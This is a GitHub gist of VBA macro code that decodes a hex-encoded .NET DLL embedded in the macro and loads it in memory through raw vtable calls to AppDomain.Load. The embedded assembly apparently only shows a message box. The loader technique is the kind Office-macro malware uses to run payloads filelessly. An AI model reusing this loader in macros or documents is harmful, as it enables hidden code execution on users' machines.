Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
VBA code for calling AppDomain.Load using raw vtable lookups for the IUnknown
' Need to add project references to C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscoree.tlb and mscorlib.tlb
Private Declare PtrSafe Function DispCallFunc Lib "oleaut32.dll" (ByVal pv As LongPtr, ByVal ov As LongPtr, ByVal cc As Integer, ByVal vr As Integer, ByVal ca As Long, ByRef pr As Integer, ByRef pg As LongPtr, ByRef par As Variant) As Long
Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" (Dst As Any, Src As Any, ByVal BLen As LongPtr)
Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (ByRef Var() As Any) As LongPtr
#If Win64 Then
Const LS As LongPtr = 8&
#Else
Const LS As LongPtr = 4&
#End If
Private Function decodeHex(hex)
On Error Resume Next
Dim DM, EL
Set DM = CreateObject("Microsoft.XMLDOM")
Set EL = DM.createElement("tmp")
EL.DataType = "bin.hex"
EL.Text = hex
decodeHex = EL.NodeTypedValue
End Function
Sub Test()
Dim b As String
b = b & "4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c010300c60cf7f50000000000000000e000"
b = b & "22200b013000000800000006000000000000a6260000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000512600004f000000004000008803000000000000000000000000000000000000006000000c000000ac250000"
b = b & "380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e74657874000000ac060000002000000008000000020000000000000000000000000000200000602e72737263000000880300000040000000040000000a000000000000000000000000"
b = b & "0000400000402e72656c6f6300000c0000000060000000020000000e0000000000000000000000000000400000420000000000000000000000000000000085260000000000004800000002000500642000004805000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004a02280e00000a72"
b = b & "01000070280f00000a262a0042534a4201000100000000000c00000076322e302e35303732370000000005006c000000bc010000237e0000280200003c02000023537472696e6773000000006404000014000000235553007804000010000000234755494400000088040000c000000023426c6f620000000000000002000001471400000900000000fa013300160000010000001100"
b = b & "000002000000010000000f0000000d0000000100000002000000000066010100000000000600db00c70106004801c7010600280095010f00e7010000060050007d010600be007d0106009f007d0106002f017d010600fb007d01060014017d01060067007d0106003c00a80106001a00a801060082007d010600170276010a003002f6010a001e02f601000000000800000000000100"
b = b & "01000100100001000b023d000100010050200000000086188f010600010009008f01010011008f01060019008f010a0029008f01100031008f01100039008f01100041008f01100049008f01100051008f01100059008f01100061008f01150069008f01100071008f01100079008f01060081002b021a002e000b0029002e00130032002e001b0051002e0023005a002e002b006b00"
b = b & "2e0033006b002e003b006b002e0043005a002e004b0071002e0053006b002e005b006b002e00630089002e006b00b3000480000001000000000000000000000000000b02000002000000000000000000000020001100000000000200000000000000000000002000f601000000000000000000436c61737331003c4d6f64756c653e006d73636f726c69620047756964417474726962"
b = b & "7574650044656275676761626c6541747472696275746500436f6d56697369626c6541747472696275746500417373656d626c795469746c6541747472696275746500417373656d626c7954726164656d61726b41747472696275746500417373656d626c7946696c6556657273696f6e41747472696275746500417373656d626c79436f6e66696775726174696f6e417474726962"
b = b & "75746500417373656d626c794465736372697074696f6e41747472696275746500436f6d70696c6174696f6e52656c61786174696f6e7341747472696275746500417373656d626c7950726f6475637441747472696275746500417373656d626c79436f7079726967687441747472696275746500417373656d626c79436f6d70616e794174747269627574650052756e74696d6543"
b = b & "6f6d7061746962696c6974794174747269627574650053696d706c65436c6173732e646c6c0053797374656d0053797374656d2e5265666c656374696f6e002e63746f720053797374656d2e446961676e6f73746963730053797374656d2e52756e74696d652e496e7465726f7053657276696365730053797374656d2e52756e74696d652e436f6d70696c65725365727669636573"
b = b & "00446562756767696e674d6f6465730053797374656d2e57696e646f77732e466f726d730053696d706c65436c617373004f626a656374004469616c6f67526573756c740053686f77004d657373616765426f78000000112e004e00450054002000420042005900000022c18df3d2b8d54abc83bb3fd5031dc700042001010803200001052001011111042001010e04200101020500"
b = b & "0111450e08b77a5c561934e0890801000800000000001e01000100540216577261704e6f6e457863657074696f6e5468726f7773010801000200000000001001000b53696d706c65436c617373000005010000000017010012436f7079726967687420c2a920203230313800002901002464373731313239322d346563392d343634352d393261382d36393566393832333065373800"
b = b & "000c010007312e302e302e30000000000000528424c200000000020000006d000000e4250000e40700000000000000000000000000001000000000000000000000000000000052534453f03ba3d0b135054fad53bf5d04d5ce2b01000000433a5c55736572735c4e69636b5c446f63756d656e74735c50726f6a656374735c53696d706c65436c6173735c53696d706c65436c617373"
b = b & "5c6f626a5c52656c656173655c53696d706c65436c6173732e706462007926000000000000000000009326000000200000000000000000000000000000000000000000000085260000000000000000000000005f436f72446c6c4d61696e006d73636f7265652e646c6c0000000000000000ff2500200010000000000000000000000000000000000000000000000000000000000000"
b = b & "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
b = b & "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
b = b & "00000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000002c03000000000000000000002c0334000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe0000010000000100"
b = b & "0000000000000100000000003f000000000000000400000002000000000000000000000000000000440000000100560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b0048c020000010053007400720069006e006700460069006c00650049006e0066006f000000680200000100"
b = b & "3000300030003000300034006200300000001a000100010043006f006d006d0065006e007400730000000000000022000100010043006f006d00700061006e0079004e0061006d006500000000000000000040000c000100460069006c0065004400650073006300720069007000740069006f006e0000000000530069006d0070006c00650043006c00610073007300000030000800"
b = b & "0100460069006c006500560065007200730069006f006e000000000031002e0030002e0030002e003000000040001000010049006e007400650072006e0061006c004e0061006d0065000000530069006d0070006c00650043006c006100730073002e0064006c006c0000004800120001004c006500670061006c0043006f007000790072006900670068007400000043006f007000"
b = b & "7900720069006700680074002000a90020002000320030003100380000002a00010001004c006500670061006c00540072006100640065006d00610072006b00730000000000000000004800100001004f0072006900670069006e0061006c00460069006c0065006e0061006d0065000000530069006d0070006c00650043006c006100730073002e0064006c006c00000038000c00"
b = b & "0100500072006f0064007500630074004e0061006d00650000000000530069006d0070006c00650043006c006100730073000000340008000100500072006f006400750063007400560065007200730069006f006e00000031002e0030002e0030002e003000000038000800010041007300730065006d0062006c0079002000560065007200730069006f006e00000031002e003000"
b = b & "2e0030002e003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000c000000a836000000000000"
b = b & "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
b = b & "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
b = b & "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
b = b & "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
Dim bytes() As Byte
bytes = decodeHex(b)
' -------------------------------------
Dim host As New mscoree.CorRuntimeHost, dom As AppDomain
host.Start
host.GetDefaultDomain dom
Dim vRet As Variant, lRet As Long
Dim vTypes(0 To 1) As Integer
Dim vValues(0 To 1) As LongPtr
Dim pPArry As LongPtr: pPArry = VarPtrArray(bytes)
Dim pArry As LongPtr
RtlMoveMemory pArry, ByVal pPArry, LS
Dim vWrap: vWrap = pArry
vValues(0) = VarPtr(vWrap)
vTypes(0) = 16411
Dim pRef As LongPtr: pRef = 0
Dim vWrap2: vWrap2 = VarPtr(pRef)
vValues(1) = VarPtr(vWrap2)
vTypes(1) = 16396
lRet = DispCallFunc(ObjPtr(dom), 45 * LS, 4, vbLong, 2, vTypes(0), vValues(0), vRet)
Dim aRef As mscorlib.assembly
RtlMoveMemory aRef, pRef, LS
aRef.CreateInstance "SimpleClass.Class1"
End Sub
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.